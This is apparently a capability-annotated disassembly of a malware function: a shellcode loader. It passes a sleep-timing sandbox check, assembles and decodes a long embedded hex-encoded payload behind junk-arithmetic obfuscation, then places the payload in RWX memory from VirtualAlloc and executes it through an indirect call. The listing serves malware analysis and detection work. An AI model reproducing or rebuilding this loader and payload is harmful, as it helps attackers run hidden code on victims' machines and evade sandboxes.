Function at 0x4016fb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ebx
push ecx
sub esp, 0x50c
call sym.___main
call sym._clock
mov dword [ebp - 0x1c], eax
mov dword [0x405004], 0
mov dword [esp], 0x26e
call sym._Sleep_4
sub esp, 4
call sym._clock
mov dword [ebp - 0x20], eax
mov dword [0x405004], 0
mov dword [esp], 0x686
call sym._malloc
mov dword [ebp - 0x24], eax
mov edx, dword [0x405008]
mov eax, dword [0x405008]
imul eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x1c]
cmp eax, 0x26d
jle 0x402010
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x1c]
cmp eax, 0x2d1
jg 0x402010
mov edx, dword [0x405004]
mov eax, dword [0x405008]
sub edx, eax
mov eax, edx
mov dword [0x405008], eax
mov dword [esp], str.uzXk
call sym._printf
mov dword [ebp - 0x28], str.9b175b7c735f96d15ca0
mov edx, dword [0x405008]
mov eax, dword [0x405004]
imul eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x2c], str.477e801186fb82c84f17edea4e9a
mov edx, dword [0x405008]
mov eax, dword [0x405008]
add eax, edx
mov dword [0x405008], eax
mov dword [ebp - 0x30], str.8c6253e2d307b58007e473d75f2b2915ca0322344bcb6af8d1d8274263150229
mov edx, dword [0x405004]
mov eax, dword [0x405004]
add eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x34], str.cae6d9b79e54b6b7fd0960f46beeef4f8b8f5011752
mov edx, dword [0x405008]
mov eax, dword [0x405004]
imul eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x38], str.bccf99489e7633f9d8508cd7b686d3064b6acfab15b0a5ee9a13efbbb128326abf92f526d2c17
mov dword [0x405008], 0
mov dword [ebp - 0x3c], str.e27da440c4fd95a7fdfe35ea7bcee1bd47d6b82907a8e7f0efd7944a911a323a247372
mov edx, dword [0x405008]
mov eax, dword [0x405004]
add eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x40], str.2c5ee45a3009edd9398421ca99e2ff8888da91685a3b0636871e591
mov edx, dword [0x405008]
mov eax, dword [0x405004]
add eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x44], str.72e59f6b80f1d9b2125efeadd5942d31cc9276ca84acb5765e8544eb56f60d406577bf736493fec3a949254030460551
mov edx, dword [0x405008]
mov eax, dword [0x405004]
add eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x48], str.d57bca6291280a582ebbe624f6c0d03656e8f1c97c6dffaf5b78d03b0f176af7f0b1892b03a4c62b055d52992b4
mov edx, dword [0x405008]
mov eax, dword [0x405004]
imul eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x4c], str.b80a0d52c9fd
mov edx, dword [0x405004]
mov eax, dword [0x405004]
add eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x50], str.3360808394bd3415cd39a497
mov dword [0x405008], 0
mov dword [ebp - 0x54], str.8e7cfd9b0ed7ee48e739
mov edx, dword [0x405008]
mov eax, dword [0x405008]
add eax, edx
mov dword [0x405008], eax
mov dword [ebp - 0x58], str.bf50e2dad1935cf861bc6443efc472968a118dfa3e778790cc4a93ee03
mov edx, dword [0x405004]
mov eax, dword [0x405004]
add eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x5c], str.240a3f4db40cdb5c53025867c7f5af8f7fde8599
mov dword [0x405004], 0
mov dword [ebp - 0x60], str.e460504efd92beb347cf4301d07296b5b668f020e6a96bdd464a5e7c02a48000886bba3cdaeb10b4
mov edx, dword [0x405008]
mov eax, dword [0x405008]
imul eax, edx
mov dword [0x405008], eax
mov dword [ebp - 0x64], str.bb93a5ef76915837d495a26849c8d04106a9fba58c0
mov dword [0x405008], 0
mov dword [ebp - 0x68], str.1358854df8a720bddcd7d2f2cc318001e601d48287e40e6d14a743b68e16b2f2
mov edx, dword [0x405004]
mov eax, dword [0x405008]
imul eax, edx
mov dword [0x405008], eax
mov dword [ebp - 0x6c], str.f5faf2b2ab4b7addeaa94576fb6defaccb0e3253485bc315c61e76bce812cb448182d63f3
mov dword [0x405004], 0
mov dword [ebp - 0x70], str.93b5ea3bca3a7cd3e755a239412bdd1fe1118874e2b9dc0857eabb5fac1e4f31024
mov edx, dword [0x405004]
mov eax, dword [0x405004]
imul eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x74], str.f13a199900fd82e1e138aa0da8faa2e2985930695d88065cb4e4e5d86a7a
mov edx, dword [0x405008]
mov eax, dword [0x405004]
add eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x78], str.84ac34f026808c105343b865cdf923c993c7222775d722
mov edx, dword [0x405004]
mov eax, dword [0x405008]
imul eax, edx
mov dword [0x405008], eax
mov dword [ebp - 0x7c], str.ffa306f17555deb7fde
mov edx, dword [0x405008]
mov eax, dword [0x405004]
imul eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x80], str.315cabeb81107c4d4ac2e6c1ea72142ad6821c22dc73c01a074a0cc277d9623402fc
mov edx, dword [0x405008]
mov eax, dword [0x405004]
add eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x84], str.77497d9b1eebc57fd1d51e962aba5dfb71237b5e38f62820c600c8815633e8aa
mov edx, dword [0x405004]
mov eax, dword [0x405004]
imul eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x88], str.4134c1ee8e7132c85a4891e
mov edx, dword [0x405004]
mov eax, dword [0x405004]
add eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x8c], str.e81ffe156b2348be34df4079a5e90f1b5a9205f
mov edx, dword [0x405004]
mov eax, dword [0x405004]
imul eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x90], str.ed2610f7ae731df0fa8f51094e8490458b1eb98843c26b5bb104baa4663e64aa59e526c4ea88bcad533f7a
mov edx, dword [0x405004]
mov eax, dword [0x405008]
add eax, edx
mov dword [0x405008], eax
mov dword [ebp - 0x94], str.3a45c291e21a96b975fb08584594c5e19009d3b51c579c3276fa6319c2dccb1a9820157cf388e1495cd3d17
mov edx, dword [0x405008]
mov eax, dword [0x405004]
add eax, edx
mov dword [0x405004], eax
mov dword [ebp - 0x98], str.64e967815e0feef24a068f2b2e994ca999fec45ae35a57ef4802ed580
mov dword [0x405008], 0
mov dword [ebp - 0x9c], str.d88b3cbe07c4c5eb32857d5eecce134d89654062a10a332021b63b0116bcce43602f9eedfc1fe0873b
mov edx, dword [0x405004]
mov eax, dword [0x405008]
sub edx, eax
mov eax, edx
mov dword [0x405008], eax
mov dword [ebp - 0xa0], str.fc78ae86c920aa
mov edx, dword [0x405008]
mov eax, dword [0x405008]
imul eax, edx
mov dword [0x405008], eax
mov dword [ebp - 0x502], 0
lea eax, [ebp - 0x4fe]
mov ecx, 0x456
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcpy
mov edx, dword [0x405008]
mov eax, dword [0x405008]
imul eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405004]
imul eax, edx
mov dword [0x405004], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405004]
mov eax, dword [0x405008]
add eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405004]
mov eax, dword [0x405004]
add eax, edx
mov dword [0x405004], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405008]
imul eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405004]
mov eax, dword [0x405008]
sub edx, eax
mov eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405004]
mov eax, dword [0x405008]
imul eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405004]
sub edx, eax
mov eax, edx
mov dword [0x405004], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405004]
mov eax, dword [0x405004]
imul eax, edx
mov dword [0x405004], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x405008], 0
mov eax, dword [ebp - 0x50]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405008]
add eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x54]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405004]
imul eax, edx
mov dword [0x405004], eax
mov eax, dword [ebp - 0x58]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x405008], 0
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405004]
mov eax, dword [0x405008]
imul eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405004]
mov eax, dword [0x405008]
sub edx, eax
mov eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405008]
add eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x68]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405004]
sub edx, eax
mov eax, edx
mov dword [0x405004], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x405008], 0
mov eax, dword [ebp - 0x70]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405004]
mov eax, dword [0x405004]
add eax, edx
mov dword [0x405004], eax
mov eax, dword [ebp - 0x74]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x405004], 0
mov eax, dword [ebp - 0x78]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405004]
mov eax, dword [0x405008]
sub edx, eax
mov eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x7c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405004]
imul eax, edx
mov dword [0x405004], eax
mov eax, dword [ebp - 0x80]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405008]
add eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x84]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405004]
add eax, edx
mov dword [0x405004], eax
mov eax, dword [ebp - 0x88]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405004]
sub edx, eax
mov eax, edx
mov dword [0x405004], eax
mov eax, dword [ebp - 0x8c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405008]
imul eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x90]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x405004], 0
mov eax, dword [ebp - 0x94]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405004]
mov eax, dword [0x405008]
sub edx, eax
mov eax, edx
mov dword [0x405008], eax
mov eax, dword [ebp - 0x98]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov dword [0x405008], 0
mov eax, dword [ebp - 0x9c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405004]
sub edx, eax
mov eax, edx
mov dword [0x405004], eax
mov eax, dword [ebp - 0xa0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._strcat
mov edx, dword [0x405008]
mov eax, dword [0x405004]
imul eax, edx
mov dword [0x405004], eax
mov dword [esp + 4], 0x406736
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._BGfVgis
mov dword [ebp - 0xa4], eax
mov edx, dword [0x405008]
mov eax, dword [0x405004]
sub edx, eax
mov eax, edx
mov dword [0x405004], eax
mov eax, dword [ebp - 0xa4]
mov dword [esp + 4], eax
lea eax, [ebp - 0x502]
mov dword [esp], eax
call sym._zNqRv
mov edx, dword [0x405008]
mov eax, dword [0x405004]
imul eax, edx
mov dword [0x405004], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x45a
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xa8], eax
mov dword [esp + 8], 0x45a
lea eax, [ebp - 0x502]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
call sym._memmove
mov eax, dword [ebp - 0xa8]
call eax
mov edx, dword [0x405004]
mov eax, dword [0x405008]
add edx, eax
mov eax, dword [0x40500c]
add eax, edx
mov dword [esp + 4], eax
mov dword [esp], 0x406738
call sym._printf
jmp 0x40202e
mov edx, dword [0x405004]
mov eax, dword [0x405008]
add eax, edx
mov dword [0x405008], eax
mov dword [esp], str.uzXk
call sym._printf
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop edi
pop ebp
lea esp, [ecx - 4]
ret